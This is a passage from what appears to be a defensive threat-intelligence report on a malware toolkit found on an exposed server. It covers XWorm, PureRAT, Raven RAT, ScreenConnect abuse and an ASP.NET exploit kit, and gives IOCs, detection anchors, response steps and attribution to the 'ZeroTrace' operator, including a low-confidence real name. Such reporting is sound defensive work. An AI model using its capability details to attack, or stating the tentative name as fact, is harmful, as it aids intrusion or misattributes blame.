• XWorm keylogger: Captures all keystrokes → transmitted to C2 every beacon cycle
• XWorm RunRecovery plugin: Extracts saved browser passwords and stored credentials
• BAK3R cracker: Tests 9.1M combo list against smtp.office365.com:587 → valid O365 accounts → BEC capability, further network access
• PureHVNC hidden browser session: Operator logs into banking/crypto/email accounts in hidden desktop — invisible to victim
• Raven RAT wallet theft: Four named TEdit form fields target Exodus, Atomic Wallet, Guarda, and Wasabi cryptocurrency wallets
• XWorm Clipper: Monitors clipboard; replaces any BTC, ETH, or TRC20 address with operator’s wallet address → all cryptocurrency transactions silently redirected

7. Threat Intelligence Context

XWorm V5.6 Landscape Context

XWorm was first documented in July 2022 (developer handle “XCoder”). Version 5.6 was the final officially released version before the developer ceased operations in late 2024. Cracked copies of V5.6 subsequently proliferated across underground forums, significantly lowering the deployment skill threshold. A CloudSEK (Tier 2) report documented over 18,000 device compromises from a trojanized version of the V5.6 builder distributed to inexperienced actors. As of 2025–2026, XWorm V5.6 is among the most frequently detected commodity RAT families globally, per Cofense and Trellix (Tier 2) reporting.

The V5.6 sample in this campaign is consistent with the widely circulating cracked builder version. Port 5000 is operator-configured (not a default) — not a meaningful distinguishing indicator.

XWorm end-of-life implication: No security updates exist for V5.6. The builder and stubs are static. Any XWorm V5.6 detection should be treated as a commodity cracked tool, not a targeted nation-state capability. (Confidence: HIGH — Tier 2: CloudSEK, Trellix, Cofense)

PureRAT / ResolverRAT Landscape Context

The developer operates as “PureCoder” and offers PureRAT as a subscription product. The broader PureCoder ecosystem includes PureCrypter (obfuscator) and PureLogs (info-stealer). Morphisec researchers coined the name “ResolverRAT” in April 2025 for the same codebase. PureRAT activity was documented as significantly elevated through 2025, with targeting including healthcare and pharmaceutical sectors (Morphisec/Check Point Research, Tier 2), hospitality, and Russian enterprises. The version confirmed in this campaign (v4.1.9) matches all technical signatures published by Netresec (August 2025) and Check Point Research (2025). (Confidence: MODERATE for growth figures — vendor-reported; HIGH for version identification — 11 technical signatures matched)

ConnectWise ScreenConnect Abuse Context

ScreenConnect emerged as a frequently abused legitimate remote access tool in 2024–2025, documented across campaigns spoofing the US Social Security Administration (SSA), invoice-themed phishing, and fake IT support lures (CyberProof, Tier 2). The SSA-themed decoy PDF in Attachment.vbs is consistent with documented SSA impersonation patterns. The /Bin/ directory download path and ?e=Access&y=Guest URL parameter pattern are exact structural matches to documented ScreenConnect phishing campaigns.

ScreenConnect version 23.2.9 predates the February 2024 “SlashAndGrab” vulnerabilities (CVE-2024-1709 authentication bypass and CVE-2024-1708 path traversal RCE). These vulnerabilities are separate from the abuse pattern here — the actor is abusing ScreenConnect for legitimate remote access, not exploiting ScreenConnect server-side. (Confidence: HIGH — Tier 2: CyberProof; Tier 1 for CVE-2024-1709/1708)

CVE-2025-30406 — Contextual Note

CVE-2025-30406 (CVSS 9.0) was added to the CISA Known Exploited Vulnerabilities catalog in April 2025 (Tier 1). Huntress researchers documented at least seven distinct organization compromises via this vulnerability. The CL0P ransomware group exploited it in mass campaigns against Gladinet CentreStack. The exploit kit in this campaign is a different, targeted adaptation against a non-Gladinet ASP.NET application — confirmed by the custom generator value 3FE2630A, which is path-derived and unique to a single application instance. No CL0P infrastructure or TTP overlap was identified. (Confidence: HIGH — Tier 1: CISA KEV; Tier 2: Huntress; HIGH for differentiation from CL0P)

ZeroTrace / Raven RAT Operator Context

CYFIRMA (Tier 2) independently documented the ZeroTrace Team in 2025, confirming the Telegram handle @ZeroTraceDevOfficial, GitHub account monroe31s, and the handle steffz as artifacts in the ZeroTrace tool portfolio (specifically in Octalyn Stealer builder strings: $name2 = "steffz"). This cross-tool corroboration strengthens the linkage between the Raven RAT panel operator and the ZeroTrace development operation. CYFIRMA’s coverage is of the Raven Stealer product line (a separate C++ infostealer); the Raven RAT (Delphi-based interactive C2 RAT) found in this campaign represents a separate, undocumented product in the ZeroTrace portfolio. (Confidence: HIGH — Tier 2: CYFIRMA)

8. Threat Actor Assessment — ZeroTrace

Threat Actor: ZeroTrace Confidence: HIGH (88%) — operating identity Confidence: MODERATE (72%) — full campaign scope

• Why HIGH for operating identity: @ZeroTraceDevOfficial recovered directly from Raven RAT component artifacts; GitHub repository monroe31s/Raven-RAT is the confirmed source of the Raven RAT component; CYFIRMA (Tier 2) independently confirms these identifiers as ZeroTrace Team in “Raven Stealer Unmasked” (2025). Two converging independent evidence streams.
• Why MODERATE for full campaign scope: CYFIRMA’s coverage is specific to Raven Stealer/Raven RAT. ZeroTrace’s direct involvement in the XWorm V5.6 and PureRAT components of this operation is inferred from infrastructure co-location and operational pattern, not independently confirmed for each family.
• What would increase confidence: Additional Tier 2 vendor attribution linking ZeroTrace to XWorm or PureRAT deployment; Telegram OSINT on @ZeroTraceDevOfficial channel; independent corroboration of Stefan Yosifov real-world identity.

Digital Identity Artifacts

Operator Profile

Actor type: Individual operator or small team (maximum 2–3 persons based on tool diversification and OPSEC failure rate)

Role in ecosystem:

• Self-identified developer of Raven RAT (ZeroTrace portfolio; tool approximately 60% complete)
• MaaS consumer for XWorm V5.6 (cracked builder), PureRAT v4.1.9 (subscription product), BAK3R tool (Telegram distributor), ConnectWise ScreenConnect (legitimate software abused)
• Credential database aggregator (procured from Telegram data broker @ddandt02 per footer in Corp_202M.txt)
• CVE-2025-30406 exploit operator (adapted from public ysoserial.net tooling against a specific target)

Sophistication: Intermediate. Can configure and deploy multiple commodity RAT families simultaneously; capable of developing a custom RAT from scratch to ~60% completion; assembled a three-stage fileless loader chain using established techniques, with the specific samples (Aspdkzb cluster) undocumented publicly prior to this report; NOT capable of consistent operational security (OPSEC) — accidental open-directory exposure of entire toolkit, source code, C2 panel, and credential database.

Motivation: Financial — credential monetization, BEC enablement, ransomware-on-demand, cryptocurrency theft

Nation-state nexus: EXCLUDED. The commodity tool mix, opportunistic financial targeting, commodity infrastructure, and operational security (OPSEC) failures are all inconsistent with nation-state operational standards. No evidence supports state nexus.

Alternative Explanations

Two-person operation (Steffz + “Ziad”): MODERATE likelihood. The “Ziad” prefix on ziadxyzhosting[.]com and ziadverisontwo[.]com is inconsistent with the confirmed Steffz identity. A second individual may manage a portion of the infrastructure.

False flag: LOW likelihood. Staging a realistic open directory with 32+ binaries, exposing real operator metadata, and leaving Canva account XMP data are inconsistent with deliberate misdirection. OPSEC failure pattern contradicts sophisticated false attribution.

9. Credential and Victim Data Inventory

Total likely-valid credential pairs: ~5,853,394 Total entries (all files): ~9,102,793

Intelligence notes:

• good.txt contains Gawker (2010) and OMGPOP (2012) breach fingerprint signatures — confirms breach compilation origin; credentials likely reused across current services
• Corp_202M.txt footer: "Data provided by Immanuel Kant / A.K.A.Data Library / Telegram - @ddandt02 / Discord - datalibrary" — data broker attribution
• US_Corp_sample.txt: 396 entries sharing password Welcome1 — default helpdesk credential cluster indicating Active Directory/enterprise origin

• 180k_2B.txt: username:password format (not email:password) — institutional/Active Directory credential format

• NTUSER.DAT registry hive files were also recovered from the staging server alongside the credential databases. NTUSER.DAT is a Windows user registry hive containing saved application credentials, browser data, and account settings from a specific user’s machine. Their presence on the operator’s staging server suggests active exfiltration of victim registry hives — credential harvesting that goes beyond bulk list usage. This is consistent with Initial Access Broker (IAB) behavior: gaining deep access to victim machines, harvesting identity material, and staging it for later monetization or resale.

Targeting profile: Corporate O365/BEC focus; cryptocurrency users (Coinbase 65k, crypto leads 135k); ISP subscribers (Comcast 151k); education/nonprofit (857k); Gmail (618k); Yahoo (129k)

10. Incident Response Guidance

Priority 1: Immediate Containment

Isolate affected systems — prevent lateral movement to other network resources while preserving forensic state for investigation. Avoid powering off systems with potential volatile memory evidence.

Block confirmed C2 infrastructure — apply immediate network blocks for 185.49.126.140 on all ports, 74.0.42.25, 74.0.42.162, 74.0.42.44, and 185.49.126.97. Any connection to 185.49.126.140 on ports 5000, 8000, 8041, 443, 56001, 56002, or 56003 is confirmed malicious.

Block operator domains — adminxyzhosting[.]com, chainconnects[.]net, and MODERATE-confidence domains ziadxyzhosting[.]com, ziadverisontwo[.]com, wireon[.]work[.]gd, ledno[.]net.

ScreenConnect audit — enumerate all ScreenConnect sessions relaying through adminxyzhosting[.]com:8041. Any session connected to this relay represents confirmed attacker access. All 500 operator-generated session links share the same static RSA public key (2048-bit) — matching this key in ScreenConnect configuration identifies attacker-established sessions.

Credential rotation — prioritize accounts with elevated privileges, domain administrator access, and any service accounts accessible from potentially affected systems.

Priority 2: Investigation

Deploy detection signatures from the detection file. Hunt for:

• Mutex 5tK099W0Z6AMZVxQ in process memory (XWorm)
• Registry key HKCU\SOFTWARE\XWorm
• Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vlctask
• Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsService
• File %TEMP%\test_debug.txt (ScreenConnect dropper debug log)
• Outbound TCP to 185.49.126.140:56001/56002/56003 with \x04\x00\x00\x00 preamble (PureRAT)
• ScreenConnect processes with parent process wscript.exe or msiexec.exe

Conduct network-wide threat hunt for lateral movement and persistence indicators across all endpoints and servers.

Priority 3: Scope Assessment

Determine the full extent of compromise: affected systems, data accessed, credentials potentially captured by keylogger or browser theft plugin, whether the XWorm ransomware module was deployed, whether PureHVNC established hidden browser sessions against financial or email accounts.

Assess whether any of the 9.1M credential pairs in the operator’s database include accounts from the affected environment — particularly Office 365 accounts.

Priority 4: Remediation Approach

Persistence mechanisms identified in this campaign are user-space (Registry Run keys, ScreenConnect service). Full system rebuild is not categorically required, but is the higher-confidence remediation path.

ScreenConnect: Because ScreenConnect is a legitimate application, standard malware removal tools may not uninstall it. Targeted removal of the ScreenConnect installation is required, specifically sessions connected to adminxyzhosting[.]com.

Credential reset scope: Assume any credentials entered on affected systems since the estimated infection date were captured by XWorm’s keylogger.

11. Defensive Hardening Recommendations

Security Control Gaps This Campaign Exploits

Endpoint behavioral monitoring: XwormLoader’s reflective PE loading and the Aspdkzb fileless chain both bypass signature-based antivirus. Behavioral endpoint detection that monitors for VirtualAlloc(PAGE_EXECUTE_READWRITE) + CreateThread sequences would detect XwormLoader’s injection. Assembly.Load() calls from obfuscated .NET assemblies should trigger investigation.

Application control and execution restrictions: Attachment.vbs requires the Windows Script Host (wscript.exe) to execute. Environments with script execution restrictions (blocking .vbs execution or requiring signed scripts) would prevent this delivery vector. PowerShell constrained language mode would reduce the effectiveness of puf.ps1/sync.ps1 fileless droppers.

Remote access software inventory: ConnectWise ScreenConnect is abused here because it is allow-listed in many environments. Maintaining an authorized remote access software inventory and alerting on unauthorized installations — specifically those connecting to non-corporate relay servers — would detect this vector.

DNS monitoring: The DGA behavior in vlc_boxed.exe generates unusual DNS queries through svchost.exe. DNS monitoring for algorithmically generated domain names, particularly from process contexts inconsistent with normal DNS activity, provides detection coverage.

Network egress filtering: All four C2 services converge on 185.49.126.140. Perimeter egress filtering with IP reputation blocking would disrupt all four families simultaneously. The PureRAT \x04\x00\x00\x00 preamble is detectable at the network layer before TLS encryption.

Credential stuffing defenses: BAK3R’s SMTP credential stuffing approach (25 concurrent SMTP AUTH attempts) is detectable at the email gateway level. Rate limiting on SMTP AUTH, combined with anomalous authentication monitoring for Office 365 (multiple failed authentication attempts followed by success from unusual source IPs), provides defense-in-depth.

CVE-2025-30406 patching: Any ASP.NET application with internet-facing endpoints should audit its web.config for hardcoded machineKey values and ensure all instances are patched. The generator value 3FE2630A is path-derived and unique to one application instance — its presence in an environment’s ASP.NET configuration confirms that environment is the specific target of this exploit kit.

Process Maturity

Detection rule deployment: The detection file contains YARA rules, Sigma rules, Suricata signatures, EDR queries, and SIEM queries covering the key IOCs and behavioral patterns from this campaign.

Threat hunting coverage: The MITRE ATT&CK techniques in this campaign (see Appendix A) span 13 tactics. Hunting coverage for T1620 (Reflective Code Loading) and T1497 (Virtualization/Sandbox Evasion) would provide early detection of XwormLoader and vlc_boxed.exe respectively.

12. Confidence Levels Summary

DEFINITE (Direct evidence, no ambiguity)

• XWorm V5.6 family identification — full decompilation; C2 config decrypted
• PureHVNC family identification — internal name PureHVNC_GUI in config file
• Raven RAT family identification — full source code recovered
• ScreenConnect abuse — DomainTools Iris HTTP server header confirmed
• 185.49.126.140 as active C2 for XWorm (port 5000), PureHVNC (port 8000), PureRAT (ports 56001–56003), ScreenConnect (ports 443/8041)
• 74.0.42.25 as open directory/staging server
• Operator handle Steffz — hardcoded in vicTest.exe DFM
• Panel build date 2025-04-13 — binary metadata
• Canva account name Stefan Yosifov — XMP metadata value in Main.dfm (artifact value only; real-world identity not confirmed)
• BAK3R attribution to @BAK34_TMW — source code attribution string
• Ransomware module presence (103KB embedded resource in Xworm_V5.6.exe)
• vlc_boxed.exe sandbox environment detection — behavioral sandbox\dll_log.txt path probe at T+1s

HIGH (Strong evidence, minor gaps)

• PureRAT v4.1.9 family identification — 88% (11 of 11 published signatures matched)
• @ZeroTraceDevOfficial Telegram as operator channel — binary artifacts + CYFIRMA independent corroboration
• monroe31s GitHub as operator account — CYFIRMA confirmed
• AS40662 attribution for 74.0.42.x cluster — 3-source cross-validation, ROA-validated
• adminxyzhosting[.]com WHOIS and PTR — retrieved and confirmed
• Aspdkzb loader chain delivers PureRAT v4.1.9 — extraction chain confirmed
• XwormLoader reflective loading of XWorm payload — full reverse engineering
• steffz in ZeroTrace portfolio — CYFIRMA independent corroboration
• Compiler: Embarcadero Delphi 12.0 Athens Enterprise — PE header analysis
• PureRAT TLS cert NotBefore: 2024-11-21 — certificate extracted from binary
• CVE-2025-30406 exploit kit structure — consistent with CISA KEV and Huntress documentation
• DGA behavior in vlc_boxed.exe — dynamically confirmed (FakeNet DNS queries)

MODERATE (Reasonable evidence, notable gaps)

• AS834/IPXO as C2 hosting provider — IPinfo + BGP.he.net agreement; AS199654 discrepancy noted and explained
• Bulletproof hosting characterization for AS834 — 3 of 6 indicators present; not definitive
• wireon.work.gd as PureRAT fallback domain — DNS timeline correlation
• ziadxyzhosting.com and ziadverisontwo.com as actor-controlled — naming pattern match; WHOIS unavailable
• puf.ps1/sync.ps1 payloads as Aspdkzb-family — size correlation; inner PE not extracted
• Infrastructure attribution to ZeroTrace (72%) — digital identity artifacts + 1 Tier 2 source; ZeroTrace components confirmed, broader campaign scope inferred
• “Two-person operation” (Steffz + Ziad) hypothesis — naming pattern evidence

LOW (Weak or circumstantial evidence)

• Stefan Yosifov as real-world identity — single source (XMP metadata), no corroboration
• ledno.net as actor-controlled domain — PTR function confirmed; direct C2 role unconfirmed
• Raven RAT C2 IP as 185.49.126.140 (port 8777) — inferred from infrastructure pattern; unconfirmed

INSUFFICIENT (Cannot assess with available evidence)

• vlc_boxed.exe inner payload family — Enigma Virtual Box prevents static analysis; DGA domains not captured
• PureRAT mutex name and persistence flag — ProtoBuf decode not completed
• DGA domain names generated by vlc_boxed.exe — FakeNet logs absent; PCAP available for future extraction
• Bulletproof hosting characterization for AS40662 — new ASN; no reputation history

13. FAQ

Q1: “Should we assume the XWorm ransomware module has already been deployed?” Short answer: No — but the capability exists and there is no warning before deployment.

The ransomware module is delivered via the ENC/DEC plugin interface from the operator’s panel. The operator must manually push it. If XWorm is detected on a system, the priority is isolation before the operator notices — not waiting to confirm whether ransomware has been activated. The embedded module’s presence (XWorm.Ransomware.resources as a binary resource in the builder) is confirmed; deployment to any individual victim is operator-dependent.

Q2: “ScreenConnect is an approved remote access tool in our environment. How do we distinguish legitimate use from this threat?” Short answer: By the relay server and session key, not the software itself.

Legitimate ScreenConnect deployments connect to an organization’s own relay server (typically a subdomain of the organization’s domain or a ScreenConnect-hosted relay). Attacker-established sessions in this campaign route through adminxyzhosting[.]com:8041. Additionally, all 500 attacker-generated session links share the same static RSA public key (documented in Section 10 investigation guidance). Auditing ScreenConnect sessions for non-corporate relay servers and unknown RSA keys identifies attacker-established access.

Q3: “The PureRAT C2 ports 56001–56003 are unusual. Can we just block these ports?” Short answer: Yes — and doing so disrupts PureRAT entirely. But this is not sufficient alone.

PureRAT strictly uses ports 56001–56003 for this build (tried in sequence on reconnect). Blocking these ports at the perimeter eliminates PureRAT C2 traffic from this build. However, XWorm uses port 5000, PureHVNC uses port 8000, and ScreenConnect uses ports 443 and 8041. The most efficient single action is blocking 185.49.126.140 entirely — which disrupts all four families simultaneously.

Q4: “The validationKey in the CVE-2025-30406 exploit kit — does this mean a specific environment was targeted?” Short answer: Only if the generator value 3FE2630A matches a value in the target’s web.config.

The generator value is mathematically derived from the physical path of the web application on the server’s filesystem. If an ASP.NET application’s web.config produces a generator value of 3FE2630A, that application is the specific target of this exploit kit. This value is unique to one application instance; most environments will not match it. Any organization operating Gladinet CentreStack or Triofox should patch regardless of this specific campaign.

Q5: “The operator’s name ‘Stefan Yosifov’ was found. Does this mean we can attribute this to a specific person?” Short answer: No — treat it as an investigative lead, not confirmed attribution.

The name was recovered as the pdf:Author XMP metadata field from a Canva account that created the Raven RAT logo. This is a single-source artifact with no independent corroboration in accessible open-source intelligence. The Canva metadata reflects the account name, not necessarily the actual developer’s legal name. This should be treated as a lead for further OSINT investigation, not as a legal or definitive attribution. Confidence for this as a real-world identity: LOW.

Q6: “The toolkit has been active for 16+ months. Why wasn’t it detected earlier?” Short answer: The combination of legitimate software abuse, fileless loading, and novel undocumented samples made detection difficult.

Key factors: (1) ScreenConnect is a legitimate application — most security tools do not flag it as malicious. (2) The PureRAT samples (Faidowra.dll, Zvafsyattl.exe) were not in public sandbox databases at analysis date, meaning hash-based detection was unavailable. (3) The Aspdkzb three-stage loader chain was undocumented — no published signatures existed. (4) The C2 server 185.49.126.140 had no prior public intelligence, meaning IP reputation tools did not flag it. This underscores why behavioral detection and threat hunting are necessary complements to signature-based approaches.

Q7: “Should we report this to law enforcement?” Short answer: That is an organizational decision outside the scope of this third-party report.

This report documents confirmed malicious infrastructure and provides IOCs for defensive action. Decisions about law enforcement reporting involve legal, jurisdictional, and organizational considerations that are organization-specific. The evidence quality in this report — particularly the digital identity artifacts and infrastructure documentation — may be of investigative value.

14. IOCs

The complete machine-readable IOC feed is available in the structured JSON format:

IOC Feed: /ioc-feeds/opendirectory-74-0-42-25-20260316-iocs.json

IOC Summary:

• File hashes (SHA256): 34 samples across all families
• Network IOCs (confirmed DEFINITE): C2 IP 185.49.126.140 (7 ports), staging IPs 74.0.42.25, 74.0.42.162, 74.0.42.44, 185.49.126.97, domains adminxyzhosting[.]com, chainconnects[.]net
• Network IOCs (MODERATE confidence): wireon[.]work[.]gd, ziadxyzhosting[.]com, ziadverisontwo[.]com, ledno[.]net
• Host IOCs: Mutexes 5tK099W0Z6AMZVxQ (XWorm) and x (Raven RAT); Registry keys (3 confirmed); PureRAT TLS CN Ayzyqztcoa
• Behavioral indicators: TCP preamble \x04\x00\x00\x00 (PureRAT); XWorm protocol separator <Xwormmm> in memory/traffic
• Protocol strings: <Xwormmm>, USB.exe, New Clinet : (XWorm Telegram notification typo)

High-Reliability Detection Anchors:

• **5tK099W0Z6AMZVxQ** — XWorm V5.6 mutex; plaintext in binary; also the AES key derivation seed; not user-configurable in V5.6
• **\x04\x00\x00\x00** — PureRAT TCP preamble; appears before TLS handshake on ports 56001–56003; network-detectable before encryption
• **Faidowra.IO.ModelConfiguration** — PureRAT v4.1.9 namespace; specific to this build’s deobfuscation
• **Ayzyqztcoa** — PureRAT TLS certificate CN; auto-generated per build; unique to this campaign instance
• **%TEMP%\test_debug.txt** — ScreenConnect dropper debug artifact; contains timestamps and HTTP status codes; OPSEC failure indicator

15. Detections

Detection Rules File: /hunting-detections/opendirectory-74-0-42-25-20260316-detections/

Detection coverage includes:

• YARA rules: File-based detection for XWorm V5.6 stubs, XwormLoader, PureRAT v4.1.9 (Faidowra.dll), Aspdkzb loader cluster, Raven RAT (vicTest.exe and RavenOriginalStub.exe), CVE-2025-30406 exploit kit
• Sigma rules: Log-based behavioral detection for XWorm Registry writes, vlc_boxed.exe persistence, ScreenConnect silent install via wscript, PureRAT TCP preamble pattern, XwormLoader reflective load behaviors
• Suricata signatures: Network detection for XWorm C2 traffic (port 5000, <Xwormmm> separator), PureRAT C2 (TCP preamble + TLS pattern on 56001–56003), ScreenConnect relay to adminxyzhosting[.]com
• EDR queries: Behavioral queries for registry-based persistence, wscript spawning msiexec, PowerShell fileless execution patterns, VirtualAlloc+CreateThread sequences
• SIEM queries: Common SIEM platform queries for network connections to C2 infrastructure and behavioral indicators

16. Appendix A — MITRE ATT&CK Mapping

17. Appendix B — Research References

XWorm V5.6:

• Trellix (2025): XWorm V5.6 technical analysis — AES-256 ECB config, Telegram notification, ransomware module documentation
• Cofense (2025): XWorm global detection volume and campaign tracking
• CloudSEK (2024–2025): “XWorm V5.6 cracked builder distribution and supply-chain compromise” — documents 18,000+ device compromises from trojanized builder; cracked V5.6 proliferation post-developer departure

PureRAT v4.1.9 / ResolverRAT:

• Netresec (August 2025): “PureRAT = ResolverRAT = PureHVNC” — \x04\x00\x00\x00 TCP preamble, TLS NotAfter: 9999-12-31, ports 56001–56003, TLS 1.0 architecture
• Check Point Research (2025): PureRAT v4.1.9 analysis — version string, Base64→GZip→ProtoBuf config, TLS cert pinning, .NET Reactor 6.x
• Fortinet (2025): PureRAT technical analysis — config encoding, .NET Reactor obfuscation corroboration
• Morphisec (April 2025): “ResolverRAT” — coins alias for same codebase; healthcare/pharmaceutical targeting
• Derp.ca (community researcher blog — Tier 3): 86-type ProtoBuf union, 20–40 second heartbeat, 4-byte length prefix, campaign tag “Default”

Raven RAT / ZeroTrace:

• CYFIRMA (2025): “Raven Stealer Unmasked” — ZeroTrace Team identity, @ZeroTraceDevOfficial, monroe31s, steffz handle in Octalyn Stealer builder artifacts
• GitHub: monroe31s/Raven-RAT — github.com/monroe31s/Raven-RAT; created 2025-05-01; 7 stars, 5 forks; @ZeroTraceDevOfficial Telegram link confirmed

ConnectWise ScreenConnect Abuse:

• CyberProof (2025): ScreenConnect documented as frequently abused legitimate remote tool in 2024–2025, appearing across active threat reports involving legitimate RMM/RAT abuse; SSA impersonation phishing pattern documentation

CVE-2025-30406:

• CISA KEV Catalog (April 2025): CVE-2025-30406 added to Known Exploited Vulnerabilities — cisa.gov/known-exploited-vulnerabilities-catalog
• NVD/CVE: CVE-2025-30406 — CVSS 9.0; Gladinet CentreStack and Triofox affected products
• Huntress (April 2025): CVE-2025-30406 technical analysis — seven confirmed organizational compromises; CL0P ransomware group exploitation documented
• ysoserial.net documentation: pwntester/ysoserial.net — TextFormattingRunProperties gadget chain documentation

Infrastructure:

• IPinfo.io: ASN lookup data for AS834 (IPXO LLC), AS40662 (Layer7 Technologies Inc)
• BGP.he.net: PTR record confirmation for adminxyzhosting.com to 185.49.126.140; ROA validation for AS40662; /24 co-host enumeration for 185.49.126.0/24
• CleanTalk (cleantalk.org/blacklists/as834): AS834 spam tracking

License

© 2026 Joseph. All rights reserved. See LICENSE for terms.